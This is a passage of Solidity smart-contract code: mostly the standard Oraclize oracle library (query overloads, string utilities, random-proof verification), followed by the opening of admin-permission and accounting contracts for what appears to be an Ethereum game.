OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Permissions
{
event LOG_ChangePermissions(address indexed _called, address indexed _agent, uint8 _value);
event LOG_ChangeRegulator(address indexed _called, bool _value);
mapping(address => uint8) public agents;
bool public communityRegulator;
modifier onlyADM()
{
require(agents[msg.sender] == 1);
_;
}
function changePermissions(address _agent, uint8 _value) public onlyADM()
{
require(msg.sender != _agent);
require(_value <= 1);
agents[_agent] = _value;
LOG_ChangePermissions(msg.sender, _agent, _value);
}
function changeRegulator(bool _value) public onlyADM()
{
communityRegulator = _value;
LOG_ChangeRegulator(msg.sender, _value);
}
function Permissions()
{
agents[msg.sender] = 1;
}
}
contract Accounting is Permissions
{
event LOG_AcceptWei(address indexed _from, uint256 _wei, uint8 indexed _type);
event LOG_WithdrawWei(address indexed _called, address indexed _to, uint256 _wei, uint8 indexed _type);
event LOG_ChangeOraclizeAccountingSettings(address indexed _called, uint256 _OAS_idOraclizeAccountingSettings,
uint256 _OAS_oraclizeRandomGas, uint256 _OAS_oraclizeRandomGwei);
uint256 constant public ACns_WeiInFinney = 1000000000000000;
uint256 constant public ACns_WeiInGwei = 1000000000;
uint256 public AP_totalBalanceCommissionWei;
uint256 public AP_totalBalanceDonateWei;
uint256 public AP_nowRoundBankBalanceWei;
uint256 public OAS_idOraclizeAccountingSettings;
uint256 public OAS_oraclizeRandomGas;
uint256 public OAS_oraclizeRandomGwei;
function () payable
{
AP_totalBalanceDonateWei = AP_totalBalanceDonateWei + msg.value;
LOG_AcceptWei(msg.sender, msg.value, 1);
}
function withdrawTotalBalanceDonateWei(address _to) public onlyADM()
